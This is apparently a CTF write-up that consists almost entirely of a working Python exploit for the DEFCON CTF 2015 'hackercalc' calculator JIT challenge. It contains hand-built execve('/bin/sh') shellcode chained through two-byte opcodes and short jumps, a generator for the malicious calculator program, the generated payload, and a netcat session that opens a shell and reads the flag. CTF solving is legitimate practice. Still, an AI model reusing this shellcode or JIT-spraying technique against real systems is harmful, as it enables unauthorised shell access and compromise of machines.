DEFCON CTF 2015 hackercalc exploit

Hackercalc is an x86 calculator JIT compiler.
Download binary

#!/usr/bin/python

'''
DEFCON CTF 2015 hackercalc exploit.
Written by repnzscasb, c00kies@venice.

$ (python exploit.py; cat - ) | nc -vv hackercalc_2e9c870a8449603f8d4b748d78993026.quals.shallweplayaga.me 21222
Connection to hackercalc_2e9c870a8449603f8d4b748d78993026.quals.shallweplayaga.me 21222 port [tcp/*] succeeded!
RUa rir1 -
rP0nDdSSPr.rnsT koaL nr0:e-oEt U eo nNr Oex oonnTpOEpyw
id
uid=1001(hackercalc) gid=1001(hackercalc) groups=1001(hackercalc)
cat /home/hackercalc/flag
The flag is: Congratulations!!! strfry! hackercalc! x86jit! hatec++RE! givemesymbolsnexttime!
'''

from struct import unpack

def toint(s):
    return unpack('<I', s)[0]

# Shellcode from http://shell-storm.org/shellcode/files/shellcode-752.php.
# Modified to use two-bytes opcodes only.
shellcode = [
    "\x31\xc9", # xor ecx, ecx
    "\xf7\xe1", # mul ecx
    "\x51",     # push ecx
    "\xb4\x68", # mov ah, 0x68
    "\xb0\x73", # mov al, 0x73
    "\x66\x50", # push ax
    "\xb4\x2f", # mov ah, 0x2f
    "\xb0\x6e", # mov al, 0x6e
    "\x66\x50", # push ax
    "\xb4\x69", # mov ah, 0x69
    "\xb0\x62", # mov al, 0x62
    "\x66\x50", # push ax
    "\xb4\x2f", # mov ah, 0x2f
    "\xb0\x2f", # mov al, 0x2f
    "\x66\x50", # push ax
    "\x89\xe3", # mov ebx, esp
    "\x31\xc0", # xor eax, eax
    "\xb0\x0b", # mov al, 11
    "\xcd\x80", # int 0x80
]

# Only 3 bytes will be written at this point, so we skip to the next shellcode instruction
# \x00 is padding
jskip = "\x00" + "\xeb\x08" + "\x00"
jskip = toint(jskip)

# Build the shellcode using 4-bytes blocks like <2-bytes opcode><2-bytes jmp next opcode> 
jnext = "\xeb\x07"
code = ""
for o in shellcode:
    asm = o.ljust(2, "\x90") + jnext
    code += "\tx = {:d}\n".format(toint(asm))

# Build the payload
payload = '''
func b1(x)
func b2(x)
func b3(x)
func b4(x)
func b5(x)
func b6(x)
func b7(x)
func a(x)
\tb1((b1(0)||{:d}||)
{}
run a(0)
'''.format(jskip, code)

print(payload)

This is the generated calculator program which calls execve(“/bin/sh”):

func b1(x)
func b2(x)
func b3(x)
func b4(x)
func b5(x)
func b6(x)
func b7(x)
func a(x)
	b1((b1(0)||584448||)
	x = 132892977
	x = 132899319
	x = 132878417
	x = 132868276
	x = 132871088
	x = 132862054
	x = 132853684
	x = 132869808
	x = 132862054
	x = 132868532
	x = 132866736
	x = 132862054
	x = 132853684
	x = 132853680
	x = 132862054
	x = 132899721
	x = 132890673
	x = 132844464
	x = 132874445

run a(0)